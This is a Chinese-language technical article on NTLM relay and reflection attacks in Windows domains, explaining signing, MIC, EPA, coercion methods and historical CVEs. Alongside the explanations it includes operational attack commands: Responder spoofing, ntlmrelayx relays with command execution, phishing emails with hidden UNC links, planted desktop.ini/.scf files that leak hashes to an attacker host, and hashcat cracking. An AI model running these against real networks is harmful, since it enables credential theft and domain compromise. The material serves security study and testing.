前言
Windows域环境下的本地提权系列研究第二篇主要是从原理和历史漏洞介绍并分析NTLM中继攻击,也是为之后的终篇实现自动化域内提权做基础。
NTLM 中继攻击(NTLM Relay)本质上是中间人的利用手法:欺骗客户端向自己发起认证,自己再将完整认证过程转发给服务端,达到绕过挑战响应认证直接获取服务端权限的目的。以之相似的还有 NTLM 反射攻击(NTLM Reflection),攻击者收到客户端请求后将其转发还给客户端,故名反射。
这一节主要记录 NTLM 中继的原理,会涉及诸如中继过程、签名、缓解手段等关键点,并且引出一些历史漏洞,为之后的漏洞及其利用手法做铺垫。
1. 攻击者让客户端向攻击者服务器发起 NTLM 挑战响应请求
2. 攻击者服务器向真实服务端发起 NTLM 请求,真实服务端返回 challenge
3. 攻击者服务器将收到的 challenge 发送给客户端
4. 客户端返回 response,攻击者服务器将 response 发送给服务端
5. 服务端验证通过,攻击者服务器获得服务端权限
上述攻击过程中有这么几个问题:
中继的本质是中间人攻击,可攻击者如何让客户端向攻击者服务器发起 NTLM 挑战请求?
这类方法都需要用户参与,让用户有意无意的去访问一个 UNC 路径,这样客户端就会通过 SMB 协议向 UNC 路径指向的服务器发起 NTLM 挑战请求。如让用户点击攻击者精心制作的且带有 UNC 路径的邮件、web 页面、文档等;或者运维人员输入 net use \\xxx
等带 UNC 路径的命令、办公人员在资源管理器中通过 UNC 路径访问共享服务器等。
对于前者而言,可以理解成内网钓鱼,这种方法可以钓取客户端的 Net-NTLM Hash 然后本地爆破;对于后者而言,需要配合内网劫持,使用名称解析协议来劫持客户端流量,毕竟运维人员 net use \\xxx
要访问哪台服务器、办公人员要访问哪台共享服务器攻击者并不可控,所以需要名称解析欺骗将客户端流量引导到被控服务器上。
通过 SpoolSample 、PetitPotam 等方法无需用户交互就可以强制客户端机器账户向指定机器发起 NTLM 请求,这种方法无感知、无需交互,是在实战中重点利用的手法。
在工作组环境中,即使实现了 NTLM 中间人,但是服务器的本地密码不尽相同,即使中间人成功将客户端凭证中继到了服务端,对服务端而言也是无效凭证。除非是用户主动登录共享服务器这种场景,用户主动去登录一般是有这台服务器凭证的,配合流量劫持还是有可能实现获取共享服务器权限的。但如果获取的不是 SID 500 (即 Administrator) 用户的凭证,由于 Remote UAC 的存在,默认也是拒绝远程登录的。
而在域环境中,可以自由的从某个 SMB 客户端中继其域用户凭证登录到其他域机器的 SMB 服务端(如果管理员没做登录限制的话,以及没有签名限制的话),或者跨协议中继至其他服务(协议)实现各种花式操作。
NTLM 本身只是一套身份认证协议,需要其他上层协议使用它,如 SMB、HTTP 可以使用 NTLM 进行身份认证。即 NTLM 是嵌在上层协议中的,认证成功并建立会话后上层协议再进行自己后续的数据传输。理论上任何协议都可以使用这套协议完成身份认证,NTLM 协议可以嵌入到任何协议里。
因此,不同协议之间是可以进行跨协议中继的。比如从 HTTP 中继至 SMB,从 SMB 中继至 LDAP/Mssql 等等,只要协议双方都支持 NTLM 即可。简单地说,只需将一个协议中的 NTLM 消息取出来,然后轻轻的放入另一个协议,就完成了上层协议转换的过程。
但事实上,跨协议的中继没那么容易,经常会遇到上层协议的签名问题。(当然本协议与本协议之间的中继也会有签名问题,而跨协议的中继会有更多种签名情况。)
众所周知,签名是用于防篡改的密码学技术,上层协议可以使用签名来有效缓解 NTLM 中继。以 SMB 签名为例,若 SMB 会话开启了签名,在 SMB 协议通过 NTLM 完成身份验证后,后续的所有数据包都会使用 exportedSessionKey 进行签名并检查,如果数据包被篡改则丢弃。
也就是说,如果某次会话开启了签名,此时中间人只能监听,无法篡改。虽然认证依然能够成功,但因为无法篡改导致无法执行获取权限之后的其他操作,也就失去了中继攻击的意义。
exportedSessionKey 由客户端随机生成,再通过密钥协商算法告诉服务端。因此客户端还会根据 Challenge、Response、Hash 生成 keyExchangeKey,用 keyExchangeKey 作为 RC4 算法的密钥来加密 exportedSessionKey 生成密文 encryptedRandomSessionKey,最后把 encryptedRandomSessionKey 放在 AUTHENTICATE_MESSAGE 中发送给服务端。服务端在收到密文 encryptedRandomSessionKey 后,同样根据 Challenge、Response、Hash 生成一个 keyExchangeKey,再用 RC4 算法加密一次密文 encryptedRandomSessionKey 可以重新获得明文 exportedSessionKey,至此完成密钥协商,之后双方都用这个 exportedSessionKey 进行签名并检查。
可以看到,RC4 算法类似于异或运算,对明文使用同一个密钥异或两次后可以得到原始明文。在网络中传输的是 encryptedRandomSessionKey 这个密文,即使攻击者截获了这个密文,由于攻击者没有 Hash 无法生成 keyExchangeKey 这个密钥,导致其无法还原出 exportedSessionKey 这个明文,也就无法篡改数据包了。(值得一提的是,encryptedRandomSessionKey 这个密文在 AUTHENTICATE_MESSAGE 中显示的是 Session Key,其实这里这个 Session Key 并不是最后用来签名会话的 Session Key,exportedSessionKey 才是)。
如果是域环境的话,服务端并没有 Hash 所以无法认证客户端,只能把 NTLM 三次交互的消息都扔给域控,域控认证后返回结果给服务端。在认证成功后,由于服务端没有 Hash,同样也无法生成 keyExchangeKey,服务端只能通过 NetLogon 协议找域控要 keyExchangeKey 再进一步计算出 exportedSessionKey 进行签名。(因为 NetLogon 协议的缺陷,这里爆过 CVE-2015-0005 漏洞)。
在一次会话开始前,客户端/服务端双方并不知道对方是否要开启会话签名,因此双方需要通过协商达成一致:
1. 客户端/服务端对签名的配置通常有"必须的"、"默认的"、"禁止的"三种,不同协议配置方法不同;
2. 客户端在 NEGOTIATE_MESSAGE 中,通过 NegotiateFlags 中的 NTLMSSP_NEGOTIATE_SIGN 标志位,告诉服务端自己是否支持签名;
3. 服务端在 CHALLENGE_MESSAGE 中,通过同样的标志位告诉客户端自己是否支持签名。
至此,客户端/服务端双方已经知道对方的签名能力/要求,至于后续会话是否真的开启签名,需要看上层协议怎么做,不同协议对协商后的签名处理不尽相同。
SMBv2 有 EnableSecuritySignature 和 RequireSecuritySignature 两种签名配置级别(SMBv1 还有 Disable ,且默认是 Disable),分别为如果你要签名的话,我可以签名和你必须签名,否则不进行会话。同时,如前文所说,会话签名是针对客户端/服务端双方的,因此一共有四个配置。
针对服务端:
HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters\EnableSecuritySignature
对应本地策略 本地策略 -> 安全选项 -> Microsoft 网络服务器:对通信进行数字签名(如果客户端允许)
HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters\RequireSecuritySignature
对应本地策略 本地策略 -> 安全选项 -> Microsoft 网络服务器:对通信进行数字签名(始终)
。
针对客户端:
HKLM\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\EnableSecuritySignature
对应本地策略 本地策略 -> 安全选项 -> Microsoft 网络客户端:对通信进行数字签名(如果服务端允许)
HKLM\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\RequireSecuritySignature
对应本地策略 本地策略 -> 安全选项 -> Microsoft 网络客户端:对通信进行数字签名(始终)
。
win10 默认只有第三项"已启用",win2008 域控默认只有第四项"已禁用",可以使用 Responder 的 python tools/RunFinger.py -i 192.168.60.1/24
脚本检测目标 SMB 签名配置。
各配置相互组合可形成这样的矩阵:
根据默认配置来看,域控的 SMB 服务端默认配置是"必须签名",Windows SMB 客户端默认配置是"可以签名",所以 Windows SMB 客户端访问域控 SMB 服务端,会话默认签名;除域控外其他 Windows SMB 服务端默认配置是"可以签名",所以域控的 SMB 客户端访问除域控外的 SMB 服务端,会话默认不签名。更多情况见上图。
与 SMBv1 类似的,LDAP 也有必须、默认、禁止三个级别,分别由数字1-3表示:
针对客户端:
HKLM\System\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity
对应本地策略 本地策略 -> 安全选项 -> 网络安全:LDAP 客户端签名要求
针对服务端:
HKLM\System\CurrentControlSet\Services\ldap\ldapclientintegrity
对应本地策略 本地策略 -> 安全选项 -> 域控制器:LDAP 服务器签名要求
。
win10 和 win2008 域控默认配置都一样:第一项协商签名,第二项没有定义。不过微软于 2019/9/11 日发布相关通告称,微软计划于 2020 年 1 月发布安全更新:为了提升域控制器的安全性,该安全更新将强制开启所有域控制器上 LDAP channel binding 与 LDAP signing 功能。(但是这个安全更新貌似因为兼容性问题没有正常发布,未测试)
其矩阵与 SMB 类似:
唯一不同的是,如果客户端/服务端双方都是 Negotiated 级别的话,SMBv2 是不进行签名的,而 LDAP 会进行签名。默认情况下 windwos LDAP 客户端和域控 LDAP 服务端都是协商签名的,所以最终会开启签名。
Windows SMB 客户端默认协商签名,Windows LDAP 服务端默认协商签名,根据 LDAP 服务端的要求,如果双方都支持签名的话将开启签名,因此 SMB 中继到 LDAP 会开启签名。
对于 SMB 中继到 LDAP 的情况,双方的默认配置都是协商签名,如果能在流量中篡改某一方 NTLMSSP_NEGOTIATE_SIGN
将其改为禁用签名的话,那么 SMB 就可以中继到 LDAP 且不签名。(但是这种方法对于 SMB 中继到域控 SMB 服务端是行不通的,因为域控 SMB 服务端默认配置是必须签名,无论怎么篡改流量都无济于事)。
但是 NTLM 协议本身存在 MIC(Message Integrity Code,消息完整性代码)来防止中间人篡改数据,MIC 存在于 NTLM AUTHENTICATE_MESSAGE
中,它检查 NEGOTIATE_MESSAGE
,CHALLENGE_MESSAGE
,AUTHENTICATE_MESSAGE
全部三条消息的完整性,任何一条消息的篡改都会导致服务端验证 MIC 失败,这也就阻止了中间人篡改 NTLMSSP_NEGOTIATE_SIGN
标志位的可能。(因为 NTLM 协议的缺陷,这里爆过 CVE-2019-1040 漏洞)。
除了 MIC 防止篡改 NTLM 数据、会话签名防止篡改会话数据这两种手段外,微软还提供了 EPA 来缓解 NTLM 中继攻击。
EPA (Enhanced Protection for Authentication),增强型身份验证保护。其思想是将 NTLM 协议与使用他的上层协议绑定,称为 Service binding(服务绑定);或者,如果存在 TLS 层的话(例如 LDAPS 或 HTTPS),则进行 TLS Binding。
总体思路是,在 AUTHENTICATE_MESSAGE
中添加一条中间人无法篡改的信息,这条信息包含客户端访问的目标服务端 IP 及服务,或者包含目标服务端的证书哈希,这样就完成了服务绑定或TLS 绑定。服务端在收到 AUTHENTICATE_MESSAGE
后会检查其绑定的 IP 以及服务是否是自己,或检查其绑定的证书是否属于自己。
不能,CHALLENGE_MESSAGE 阶段的 Challenge 是服务端随机生成的,根据 Challenge 计算的 Net-NTLM Hash 自然也是每次都不同的, 也就是说 NTLM 天生是防重放的,Net-NTLM Hash 只能被中继、反射或爆破。
客户端可能没有服务端凭证,但客户端肯定拥有自身凭证,因此可以将其中继至客户端本身,即 NTLM Reflection,NTLM 反射。
在使用某些命令时,会先使用客户端自身的凭证来尝试验证。比如输入net.exe use \\host\share
并回车后会提示输入服务端账号密码,其实在提示输入账号密码之前客户端就已经用当前用户名及其 NTLM-Hash 进行挑战响应验证。显然这会因为客户端凭证无法用于服务端而失败,之后用户再输入正确的服务端账号密码,客户端再进行一遍挑战响应验证完成身份认证。
攻击者可以将客户端发送的 NTLM 挑战请求中继回客户端自身,完成 NTLM 反射攻击。(反射相关漏洞 MS08-068、CVE-2019-1384(Ghost Potato))。
当然,无论客户端是否拥有服务端凭证,中间人如果能成功获取到客户端发送的 Net-NTLM-Hash,可以制作密码本尝试爆破获取客户端明文密码或 NTLM Hash。
中继最重要的两个环节就是:1. 实现中间人;2. 利用中继,其他会话签名、MIC 绕过等都是在实战中利用的细节问题,接下来会紧紧围绕这两个环节进行记录。本节主要介绍中继攻击的第一步:如何建立 NTLM 中间人,仅记录一些在实战中危害较大、能够大量收割客户端 Net-NTLM Hash 的场景。更多手法见 Places of Interest in Stealing NetNTLM Hashes[1] 。
内网常见的名称解析协议有 DNS/mDNS/NBNS/LLMNR/ARP/WPAD 等(WPAD 并不属于名称解析协议,是网络代理自动发现协议,因为也能够造成内网劫持,放在这里一起),在被控服务器上使用 python Responder.py -I ens33 -fv
实现欺骗,当前广播域下其他机器广播这些名称解析协议请求解析的时候,Responder 会响应这些请求广播包(Responder 支持 mDNS/NBNS/LLMNR)从而完成欺骗。
获取 Net-NTLM Hash 可以本地爆破,亦或配合 python3 ntlmrelayx.py -t smb://192.168.0.106 -c whoami -smb2support
完成中继。需要修改 Responder.conf 关闭其监听的 SMB 和 HTTP 服务,改由 ntlmrelayx 监听这两个端口并中继至目标。
上述通过劫持实现中间人的场景存在一定风险,而且劫持一般发生在广播域内,这里仅作为一次完整的建立中间人+中继利用的展示。
这种方式的优点是,如果目标单位 Exchange 开放在互联网上,那么可以直接外网发送邮件实现中间人。在邮件中插入如下标签:
<img src="\\192.168.60.172\blank">
<img src="http://relayubuntu/blank">
在用户通过 Outlook 打开邮件时:
1. UNC 默认会通过 SMB 协议发起 NTLM 认证,但是外网钓鱼的话,目标单位的 SMB 协议可能无法出网。
2. HTTP 默认不会发起 NTLM 认证,即使服务端对其进行 NTLM 挑战,除非服务端 URL 位于信任网站或内联网。Windows 会认为 http://Netbios
形式的 URL 处于内联网,域内用户默认有增加 DNS 记录的权限,因此攻击者需要先获取域用户权限并创建 DNS 记录。显然,这种方法无法用于外网钓鱼。
# 发送 UNC 路径的邮件
swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="\\192.168.60.172\blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
# 发送 HTTP 路径的邮件
swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="http://relayubuntu/blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
# 创建 DNS 记录
Invoke-DNSUpdate -DNSType A -DNSName relayubuntu -DNSData 192.168.60.172
类似于水坑,拿下内网共享服务器后,可以修改某些配置,在用户访问目录时让用户发起 NTLM 请求。
# 创建一个新的文件夹,desktop.ini 放在新文件夹下,注意名字的迷惑性
# 或者 desktop.ini 放在根目录下,给根目录添加系统文件属性 attrib +s RootDir
mkdir IT_DontMove
attrib +s IT_DontMove
cd IT_DontMove
echo [.ShellClassInfo] > desktop.ini
echo IconResource=\\192.168.0.1\aa >> desktop.ini
attrib +s +h desktop.ini
# For Windows XP
[.ShellClassInfo]
IconFile=\\192.168.0.1\aa
IconIndex=1337
# 没成功过
# icon.scf
[Shell]
Command=2
IconFile=\\35.164.153.224\test.ico
[Taskbar]
Command=ToggleDesktop
SpoolSample 滥用 [MS-RPRN] 协议的功能来强制目标 A 向攻击者选择的目标 B 进行身份验证。
[MS-RPRN](Print System Remote Protocol,打印系统远程协议)用于同步客户端和服务端之间的打印和假脱机操作情况,包括打印作业控制和打印系统管理。其中,DWORD RpcRemoteFindFirstPrinterChangeNotificationEx([in] PRINTER_HANDLE hPrinter,[in] DWORD fdwFlags,[in] DWORD fdwOptions,[in, string, unique] wchar_t* pszLocalMachine,[in] DWORD dwPrinterLocal,[in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions);
函数的作用是创建一个远程的更改通知对象,当远程服务端有打印任务时将通知发送至客户端。参数 hPrinter 用于指定打印机或服务端 A ,pszLocalMachine 用于指定客户端 B。这样,调用 RpcRemoteFindFirstPrinterChangeNotificationEx() 后服务端 A 就会向客户端 B 进行 NTLM 身份验证。
微软表示这是打印机的正常功能,不会修复该问题。但自 PrintNightmare 爆发以后,许多企业会选择主动关闭打印机服务,导致 SpoolSample 失效。
利用 SpoolSample 必须有一个能用于服务端 RPC 绑定的凭证,可以是服务端本地账户也可以是域用户账户。无论是什么凭证,触发 SpoolSample 后发送的都是机器账户 DESKTOP-A5EFSQR$ 的 NTLM 信息。
服务端、客户端都可指定 IP,如果出网,还可指定 vps ip。
SpoolSample[2]
printerbug.py[3]
与 SpoolSample 相似的利用原理,但 PetitPotam 滥用的是 [MS-EFSR] 协议。
[MS-EFSR](Encrypting File System Remote (EFSRPC) Protocol,远程加密文件系统协议)用于对远程存储和通过网络访问的加密数据进行维护和管理。其中,long EfsRpcOpenFileRaw([in] handle_t binding_h,[out] PEXIMPORT_CONTEXT_HANDLE* hContext,[in, string] wchar_t* FileName,[in] long Flags);
函数的作用是打开服务器上的加密对象以进行备份或还原。参数 binding_h 用于指定客户端 A,FileName 用于指定远程服务端 B 的加密对象。这样,调用 EfsRpcOpenFileRaw() 后客户端 A 就会向服务端 B 进行 NTLM 身份验证。
微软在 KB5005413(CVE-2021-36942)中修复了该漏洞,但作者 fuzz 出了 [MS-EFSR] 更多其他函数,原理同上。
在初始化客户端的绑定句柄 binding_h 时,可以指定 \pipe\lsarpc
或 \pipe\efsrpc
等命名管道用于接收。Windows 2003 、 2008 服务器中,组策略网络访问:可匿名访问的命名管道
存在 lsarpc
,因此可以匿名触发 PetitPotam。但在 2012 以上,这个组策略默认就是空了,要触发 PetitPotam 至少需要一个能连接客户端命名管道的凭证。(在实验时偶然发现,把 2012 升级为域控后,lsarpc 又出现在可匿名访问的命名管道中)。
服务端、客户端都可指定 IP,如果出网,还可指定 vps ip。
上图中的 WIN2012-DC1 lsarpc 可以匿名访问,无需凭证直接触发 PetitPotam。DESKTOP-A5EFSQR 是一台 Win10,没有匿名命名管道,需要凭证才能触发。
PetitPotam[4]
本节结合中间人的实现方法,记录在实战中能够实际利用的中继手法,包括爆破、反射以及中继。
NTLM 有 v1、v2 两种加密级别,对应生成 Net-NTLMv1 Net-NTLMv2 两种 Hash,由本地策略 -> 安全选项 -> 网络安全:LAN 管理器身份验证级别
配置,对应注册表 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v LmCompatibilityLevel
,共六个级别:
1. 发送 LM 和 NTLM 响应:客户端使用 LM 和 NTLM 身份验证,决不会使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
2. 发送 LM 和 NTLM – 如果已协商,则使用 NTLMv2 会话安全: 客户端使用 LM 和 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
3. 仅发送 NTLM 响应: 客户端仅使用 NTLM 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
4. 仅发送 NTLMv2 响应: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。
5. 仅发送 NTLMv2 响应\拒绝 LM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM (仅接受 NTLM 和 NTLMv2 身份验证)。
6. 仅发送 NTLMv2 响应\拒绝 LM & NTLM: 客户端仅使用 NTLMv2 身份验证,并且在服务器支持时使用 NTLMv2 会话安全;域控制器拒绝 LM 和 NTLM (仅接受 NTLMv2 身份验证)。
各操作系统默认值:
1. Windows 2000 以及 Windows XP: 发送 LM 和 NTLM 响应。
2. Windows Server 2003: 仅发送 NTLM 响应。
3. Windows Vista、Windows Server 2008、Windows 7 以及 Windows Server 2008 R2及以上: 仅发送 NTLMv2 响应。
客户端 LmCompatibilityLevel 设为 2 或更低级别,服务端通过 python3 Responder.py -I ens33 -fv --lm
将 AUTHENTICATE_MESSAGE
的 NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
设为 0,此时捕获的 Net-NTLMv1 Hash 只受服务端 Challenge 影响,只需要固定服务端 Challenge 即可制作彩虹表爆破 Net-NTLMv1 Hash 获取客户端 NTLM Hash。
crack.sh[5] 制作了 Challenge 为 1122334455667788 时的彩虹表,Responder 可以修改 Responder.conf 配置 Challenge 为 1122334455667788,攻击者捕获客户端 Net-NTLMv1 Hash 后将其改为 username::hostname:response:response:challenge -> NTHASH:response
格式(或者用 ntlmv1.py[6] 转换),最后拿去 get-cracking[7] 跑彩虹表获得 NTLM Hash(有可能失败)。
实战中可以 PetitPotam 直接打 Windows 2003 域控,获取域控机器账户 Net-NTLMv1 Hash 跑得 NTLM Hash(加密降级也是一个 AD 域权限维持思路);或者结合内网钓鱼手法获取用户账户 Net-NTLMv1 Hash,但这种可能获取到的大部分都是 Net-NTLMv2 Hash。
Net-NTLMv1 、 Net-NTLMv2 都可以彩虹表跑明文密码本,通过内网钓鱼的手法能够获取大量的 Net-NTLM Hash 的话,爆破还是有一定意义的。
# Net-NTLMv2
hashcat.exe -m 5600 -a 3 ..\SMB-NTLMv2-SSP-192.168.0.101.txt ..\pass.txt --force
hashcat.exe -m 5600 -a 3 ..\SMB-NTLMv2-SSP-192.168.0.101.txt ..\pass.txt --force --show
# Net-NTLMv1
hashcat.exe -m 5500 -a 3 Administrator::ISLAND:77A8AC4D138E543C56003AABE67D5EB67B0E8C6F485A6914:77A8AC4D138E543C56003AABE67D5EB67B0E8C6F485A6914:1122334455667788 pass.txt --force
hashcat.exe -m 5500 -a 3 Administrator::ISLAND:77A8AC4D138E543C56003AABE67D5EB67B0E8C6F485A6914:77A8AC4D138E543C56003AABE67D5EB67B0E8C6F485A6914:1122334455667788 pass.txt --force --show
反射的利用手法一般搭配内网钓鱼实现中间人,诸如 SpoolSample 方法获取的是机器用户的 Hash,无法被反射登录自身 SMB 服务端。(这里有一个问题,不能反射回自身的 SMB 服务端,能否反射域控的机器账户到其自身的 LDAP 服务端?)
很久之前,SMB 客户端可以被中继回自身的 SMB 服务端。
微软通过 MS08-068 修复了该漏洞(cifs 可以理解为 SMB 的另一种称法):
1. 客户端向服务端发起 NTLM 请求,并在 NTLMSSP 中将 pszTargetName 设置为目标 SPN,即 cifs/B。
2. 客户端获取服务端 challenge 后,结合 pszTargetName,向 lsass 进程中写入缓存(Challenge,cifs/B)。
3. 服务端收到客户端 response 后,去 lsass 进程中查找是否存在缓存(Challenge,cifs/B),若不存在则认证成功。
显然,正常情况下只有客户端缓存了(Challenge,cifs/B),服务端并没有该缓存,因此认证成功。但如果被中继回自身,客户端服务端是同一台主机,自然会检查到缓存,导致认证失败。
CVE-2019-1384 是对 ms08-068 的绕过,ms08-068 通过在 lsass 中缓存 (Challenge,cifs/B)
来缓解 NTLM 反射,但这个缓存有一定的存活限制:每次 NTLM 挑战添加缓存时都会检查是否有超过 300 秒的缓存存在,如果有则删除。这就给了攻击者可乘之机:
1. 客户端向服务端(本地)发起 NTLM 请求,并在 NTLMSSP 中将 pszTargetName 设置为目标 SPN,即 cifs/B。
2. 客户端获取服务端 CHALLENGE_MESSAGE 后,结合 pszTargetName,向 lsass 进程中写入缓存(Challenge,cifs/B)。
3. 客户端不发送 AUTHENTICATE_MESSAGE ,并保持会话超过 300 秒。
4. 在 300 秒后,客户端故意发起错误的 NTLM 挑战请求,这会刷新 lsass 中的缓存(Challenge,cifs/B)。
5. 客户端发送 AUTHENTICATE_MESSAGE ,完成反射攻击。
Ghost Potato[8]
终于到了真正的中继利用手法,先来看一张中继利用全景图:
除了上述常见中继情况外,还有中继到 IMAP、MSSQL 等玩法,impacket 都已集成。
SMB 中继至 SMB 是最常见的,同样的,获取的凭证不能是机器账户,因此一般也是搭配内网钓鱼实现中间人。
ntlmrelayx 有许多花式中继方法,不加参数默认 dump 目标 hash。
python3 ntlmrelayx.py -t smb://192.168.0.106 -smb2support
设置一个 socks4 代理监听本地 1080,后续可以走代理使用 smbexec,这应该是比较好的一种利用方式,可以一直保持代理无需等待下次中继 。
python3 ntlmrelayx.py -t smb://192.168.0.106 -smb2support -socks
proxychains python3 smbexec.py ./ADMINISTRATOR@192.168.0.106
以及批量中继至服务器等、执行命令。
python3 ntlmrelayx.py -tf targets.txt -smb2support
python3 ntlmrelayx.py -t smb://192.168.60.112 -smb2support -c "whoami"
SMB 中继至 SMB 有时会遇到签名问题(如域控 SMB 服务端默认强制签名),CVE-2015-0005 可以绕过 SMB 签名。
先回顾一下第一节的内容:SMB 会话如果开启签名,会使用 exportedSessionKey 作为密钥,客户端/服务端双方通过密钥协商算法交换 exportedSessionKey,密钥协商算法的密钥是 keyExchangeKey。keyExchangeKey 的生成需要 Challenge、Response、Hash 三个要素,在工作组环境中客户端/服务端双方都有这三个要素,能够成功生成 keyExchangeKey。但在域环境中服务端并没有 Hash,因此服务端的 NTLM 认证及其后续签名所需的 keyExchangeKey 都需要域控帮助完成。
CVE-2015-0005 漏洞原理:在服务端通过 NetLogon 协议向域控索要 keyExchangeKey 的时候,域控并不校验 keyExchangeKey 是否属于该服务端,攻击者来索要 keyExchangeKey 也能成功,获取 keyExchangeKey 后攻击者可以绕过 SMB 签名。
在实战中,impacket 的 smbrelayx.py 已集成该漏洞,在 smbrelayx.py 中继登录到服务端的过程中,会调用 netlogonSessionKey() 自动尝试利用该漏洞。
跨协议签名矩阵一节提到,SMB 中继到 LDAP 默认情况下是开启签名的,但是 CVE-2019-1040 的出现打破了这一状况。
这个漏洞能够弃用 NTLM MIC,达到绕过 NTLM 消息完整性验证防护的目的。前文说到,对于客户端/服务端(无论双方是何协议)双方都是协商签名的话,最终的结果是有可能签名、也有可能不签名。如果在流量传输的过程中将某一方的 NTLMSSP_NEGOTIATE_SIGN
修改为不支持签名,那么最终会话将禁止签名。现在 CVE-2019-1040 可以绕过 MIC 防护,这允许攻击者篡改流量中的 NTLMSSP_NEGOTIATE_SIGN
,将协商签名降为禁止签名,增加了中继的攻击面。如 SMB 中继到 LDAP ,默认配置是双方协商签名,这种情况下会话最终会进行签名,利用 CVE-2019-1040 可以将默认情况下 SMB 中继到 LDAP 的会话修改为禁止签名。(还有其他双方协商签名则默认开启签名的情况,都可以利用 CVE-2019-1040 降为禁止签名)
回到中继的两个关键环节:如何实现中间人,如何利用中继。
1. 如何实现中间人
机器账户是可以登录 LDAP 的,因此通过 SpoolSample 强制获取客户端的机器账户凭证。在实战中客户端对象通常是 Exchange 或者域控。
2. 如何利用中继
对于 Exchange 机器用户发来的请求,将其中继至域控 LDAP 后,可以为攻击者可控的域用户添加 Dcsync 权限,再进一步导出域内包括域管的所有 Hash 完成提权。Excheange 机器用户在 Exchange Trusted Subsystem 组中,该组具有 Write-ACL 权限,因此可以给任意用户添加 Dcsync 所需权限;对于域控机器用户发来的请求,将其中继到另一台域控 LDAP(因为不能反射回第一台域控本身)后,可以把攻击者可控的机器用户添加进第一台域控机器用户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中,这样攻击者就可以通过基于资源的约束委派模拟域管,完成提权。
192.168.60.112 WIN2012-DC1
192.168.60.108 WIN2008-DC2
192.168.60.174 ubuntu
192.168.60.110 DESKTOP-A5EFSQR
中继至 LDAP,为某个机器账户添加 RBCD,在委派时需要已知该机器账户凭证。
或者中继至 LDAPS,直接添加一个新的机器账户,再为该机器账户添加 RBCD。(LDAP 不允许通过未加密的连接创建帐户,要么中继到 LDAPS,但域控 LDAPS 需要配置 AD CS,默认未配置;要么将 LDAP 的 Sealing 属性设置为 ture 就可以用 sasl 加密连接)。
Excheange 的原理及利用说明,会在 Exchange 专题中描述。
CVE-2019-1040 作用于双方没有强制开启签名的情况,否则无论怎么篡改 NTLMSSP_NEGOTIATE_SIGN
都无法将会话签名降级为禁止签名。
本文介绍了中继攻击的原理和打法,结合上一篇文章的域内委派攻击,接下来我们该思考如何实现我们研究的目的——域环境下的自动化提权,将会在下一篇给出答案。
[1]
Places of Interest in Stealing NetNTLM Hashes: https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/
[2]
SpoolSample: https://github.com/leechristensen/SpoolSample
[3]
printerbug.py: https://github.com/dirkjanm/krbrelayx
[4]
PetitPotam: https://github.com/topotam/PetitPotam
[5]
crack.sh: https://crack.sh/netntlm/
[6]
ntlmv1.py: https://github.com/evilmog/ntlmv1-multi
[7]
get-cracking: https://crack.sh/get-cracking/
[8]
Ghost Potato: https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html